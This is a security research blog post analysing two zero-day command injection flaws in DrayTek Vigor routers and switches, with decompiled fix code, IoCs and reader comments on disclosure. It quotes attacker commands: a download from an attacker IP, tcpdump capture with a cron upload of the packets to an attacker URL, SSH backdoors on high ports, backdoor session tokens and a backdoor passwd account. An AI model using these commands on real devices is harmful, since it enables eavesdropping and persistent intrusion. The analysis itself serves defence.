0-day

# Two zero days are Targeting DrayTek Broadband CPE Devices

**Genshen Ye**
Mar 27, 2020 • 5 min read

*Author: Yanlong Ma, Genshen Ye, Hongda Liu*

## Background

From December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[1] Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device's network traffic, running SSH services on high ports, creating system backdoor accounts, and even creating a specific Malicious Web Session backdoor.

On December 25, 2019, due to the highly malicious nature of the attack, we disclosed on Twitter[2][3] the ongoing 0-day attack IoC without mentioning the vendor name or product lines. We also provided more details to some national CERTs.

On February 10, 2020, the manufacturer DrayTek issued a security bulletin[4], which fixed the vulnerability and released the latest firmware program 1.5.1. (here we actually have an easter egg we might talk about later)

## Vulnerability analysis

With the help of 360 Firmware Total system [5], we are able to perform vulnerability research . The two 0-day vulnerability command injection points are

`keyPath` and `rtick`, located in the `/www/cgi-bin/mainfunction.cgi`, and the corresponding Web Server program is `/usr/sbin/lighttpd`.

### keyPath command injection vulnerability analysis

Vulnerability type: unauthorized remote command execution vulnerability
Vulnerability details: Two account password transmission methods are supported by the DrayTek devices, plain text and RSA encrypted transmission.

For RSA encrypted transmission, the interaction logic is:

1. The web front end uses the RSA public key to encrypt the username and password, and uses a `keyPath` field to specify the file suffix of the RSA private key to initiate a login request;
2. When the `formLogin()` function in the `/www/cgi-bin/mainfunction.cgi` detects that the `keyPath` field is not empty, the decryption starts;
3. `formLogin()` uses the `keyPath` as input to craft the following path `/tmp/rsa/private_key_<keyPath>` as the RSA private key;
4. `formLogin()` performs Base64 decode on the username and password fields, writes them to the `/tmp/rsa/binary_loginfile`, and executes the following command to decrypt the username and password

```
openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa
```

5. Finally, the `formLogin()` function takes the decrypted user name and password to continue the verification.

The issue here is that `keyPath` does not have very strong input control, which makes unauthorized remote command execution possible.

Bug fix: In version 1.5.1, `keyPath` sets the field length a limit of 30, and the content must be hexadecimal characters.

```
keyPath = (char *)cgiGetValue(dword_43E34, "keyPath");
username = (char *)cgiGetValue(dword_43E34, "loginUser");
v7 = cgiGetValue(dword_43E34, "loginPwd");
v8 = username == 0;
if ( username )
  v8 = v7 == 0;
password = (char *)v7;
if ( !v8 && keyPath )
{
  if ( strlen(keyPath) == 30 )
  {
    for ( i = 0; ; ++i )
    {
      if ( !keyPath[i] )
      {
        v12 = off_434FC[0];
        keyPath_1 = check_special_chr(keyPath);
        snprintf((char *)&private_keyPath, 0x64u, "%s%s%s", v12, "_", keyPath_1);// /tmp/rsa/private_key_<keyPath>
        check_special_chr(username);
        username_len = strlen(username);
        v15 = base64_decode((int)username, username_len, &out_buf);
        file_write(off_43500[0], out_buf, v15);// write to '/tmp/rsa/binary_login'
        snprintf((char *)&cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", &private_keyPath, off_43500[0]);
        username_1 = run_command(&cmd);
        check_special_chr(password);
        password_len = strlen(password);
        v18 = base64_decode((int)password, password_len, &out_buf);
        file_write(off_43500[0], out_buf, v18);
        snprintf((char *)&cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", &private_keyPath, off_43500[0]);
        password_1 = run_command(&cmd);
        snprintf((char *)&cmd, 0x400u, "rm -f '%s' '%s'", &private_keyPath, off_43500[0]);
        system((const char *)&cmd);
        goto LABEL_13;
      }
      if ( !isxdigit((unsigned __int8)keyPath[i]) )
        break;
    }
```

### rtick command injection vulnerability analysis

Vulnerability Type: unauthorized remote command execution vulnerability
Vulnerability details: When `/www/cgi-bin/mainfunction.cgi` needs to access verification code, it calls the function `formCaptcha()`, the function does not check the incoming timestamp from rtick, and calls /usr/sbin/captcha directly to generate `<rtick>.gif` the CAPTCHA image, which makes command injection possible.

Bug fix: In version 1.5.1, the vendor limits the rtick field to use only [0-9].

```
rtick = cgiGetValue(dword_43E34, "rtick");
index = 0;
v2 = rtick;
while ( *(_BYTE *)(index + rtick) )
{
  if ( (unsigned int)*(unsigned __int8 *)(index + rtick) - '0' > 9 )
  {
    syslog(149, "[get_captcha()] ERROR : rtick IS NOT A NUMBER : rtick=%s", rtick);
    exit(1);
  }
  ++index;
}
snprintf(&s, 0x80u, "/usr/sbin/captcha > /tmp/captcha/'%s'.gif 2> /tmp/captcha_txt/'%s'.txt", rtick, rtick);
system(&s);
```

## Analysis of wild 0-day attacks

### Attack Group A

1. Attacker A uses the `keyPath` command injection vulnerability to download and execute the `http://103.82.143.51:58172/vig/tcpst1` script, and then further downloads and executes the following script.

```
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
```

2. The script `/etc/mailsend.sh` is used to eavesdrop on all network interfaces on the DrayTek Vigor network device to listen on the ports 21, 25, 143, and 110. The tcpdump command `/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &` runs in the background, and a crontab is in place to upload the captured packets to `https://103.82.143.51:58443/uploLSkciajUS.php` every Monday, Wednesday, Friday at 0:00.

### Attack group B

1. Attacker B uses the rtick command injection vulnerability to create 2 sets of Web Session backdoors that never expires in the file `/var/session.json`

```
json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin leve
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin leve
```

2. Attacker B further creates SSH backdoors on TCP / 22335 and TCP / 32459;

```
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_
```

3. A system backdoor account `wuwuhanhan:caonimuqin` is added as well.

```
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/Cz
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9a
```

## Web Session backdoor

When we study the 0-day PoC, we noticed that when the session parameter `updatetime` is set to 0, DrayTek Vigor network device never logs out unless the device is rebooted.
(aka Auto-Logout: Disable)

```
25  if ( obj )
26  {
27    session_obj_1 = json_object_get(obj, cookie);
28    session_obj = session_obj_1;
29    if ( session_obj_1 )
30    {
31      lastime = json_object_get(session_obj_1, "lasttime");
32      updatetime = json_object_get(session_obj, "updatetime");
33      session_ip = json_object_get(session_obj, "ip");
34      json_string_value(session_ip);            // from REMOTE_ADDR
35      lastime_1 = json_integer_value(lastime);
36      updatetime_1 = json_integer_value(updatetime);
37      validtime = lastime_1 + updatetime_1;
38      if ( updatetime_1 > 0 && validtime < currentime && flag_1 )// 登陆超时
39      {
40        json_object_del(obj_1, cookie);
41        json_dump_file(obj_1, "/var/session.json", 0);
42        save_obj(obj_1);
43        json_load_unlock(lock);
44        result = -8;
45      }
46      else
47      {
48        json_integer_set(lastime, currentime);  // 更新最后一次请求时间
49        json_object_update(session_obj, lastime);
50        json_dump_file(obj_1, "/var/session.json", 0);
51        save_obj(obj_1);
52        json_load_unlock(lock);
53        result = 1;                             // 认证成功
54      }
55    }
```

## Timeline

```
2019/12/04 We discovered ongoing attacks using the DrayTek Vigor 0-day keyPath vulne
2019/12/08 We reached out to a channel to report the vulnerability (but only later o
2019/12/25 We disclosed on twitter the IoC and provided more details to some nationa
2020/01/28 We discovered ongoing attacks using the DrayTek Vigor 0-day rtick vulnera
2020/02/01 MITRE published the CVE-2020-8515
2020/02/10 DrayTek released a security bulletin and the latest firmware fix.
```

## Affected firmware list

```
Vigor2960          <  v1.5.1
Vigor300B          <  v1.5.1
Vigor3900          <  v1.5.1
```

```
VigorSwitch20P2121  <= v2.3.2
VigorSwitch20G1280  <= v2.3.2
VigorSwitch20P1280  <= v2.3.2
VigorSwitch20G2280  <= v2.3.2
VigorSwitch20P2280  <= v2.3.2
```

## Suggestions

We recommend that DrayTek Vigor users check and update their firmwares in a timely manner, and check whether there is a tcpdump process, SSH backdoor account, Web Session backdoor, etc on their systems.

We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.

## Contact us

Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.

## IoC list

MD5

```
7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007
```

URL

```
http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php
```

Scanner IP

```
103.82.143.51           Korea                   ASN136209               Korea Fast Ne
178.151.198.73          Ukraine                 ASN13188                Content Deliv
```

G

Join the discussion…

LOG IN WITH

OR SIGN UP WITH DISQUS

Name

♡ Share

Best Newest Oldest

M

**Mohammad Reza**

5 years ago

1. A responsible "researcher" contact vendor as first action. If you did it wrongly, or did you forget, why did not you try again using vendor's published addresses?

2. Even firmware update was issued quickly many users are bad at updating so publishing full details of the vuln you put innocent users in risk. How can risking economic or personal loss be justified?

3. How do you know these two alleged groups exploited the vuln?

0 0 Reply

D

**ducknukam** ↗ Mohammad Reza

5 years ago edited

1. They contacted the vendor, the vendor did not maintain or update their proper communication channels and the information did not reached them. They should have tried alternatives, but anyway...

2. The standard disclosure delay varies, but it is usually 90 days, system admins are responsible to keep their systems up to date because exploits pop-up always, it is a matter of time. If a sysadmin goes 90 days without checking or updating the device firmware I guess the sysadmin is doing a poor job. Let's not forget this is an enterprise-level device, not reallly for your typical end-user.

3. I'm going to assume they were able to gather syslogs from a number of customers or other third-parties; in one of the companies I work for I found logs with rtick exploit attempts as far back as August 2019. There were no actual traces of compromise, but it is possible that they covered their tracks afterwards.

Also, Draytek itself preaches about warning their users through mailinglist but that's complete nonsense, I found out about the vunlerabiliies a month after the FW release from a tech blog. Another thing, Draytek says that their FW update cleans backdoor user accounts (unlikely) while third-party experts like the ones here say that it does not (makes sense). I'm taking Draytek claims with a grain of salt despite their relatively rapid response and fix.

0 0 Reply

— 360 Netlab Blog - Network Security Research Lab at 360 —

# 0-day

EwDoor僵尸网络，正在攻击美国AT&T用户

EwDoor Botnet Is Attacking AT&T Customers

一个藏在我们身边的巨型僵尸网络 Pink

See all 22 posts →

Botnet

## DDG botnet, round X, is there an ending?

DDG is a mining botnet that we first blogged about in Jan 2018, we reported back then that it had made a profit somewhere between 5.8million and 9.8million RMB(about 820,000 to 1.4Million US dollar )，we have many follow up blogs about this botnet after that,



· Apr 8, 2020 · 2 min read

0-day

## DrayTek Vigor企业级路由器和交换机设备在野0-day 漏洞分析报告

本文作者：马延龙，叶根深，刘宏达 背景介绍 从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。2019年12月25号，我们在Twitter[1][2]上披露了DrayTek Vigor在野0-day漏洞攻击IoC...

· Mar 27, 2020 · 6 min read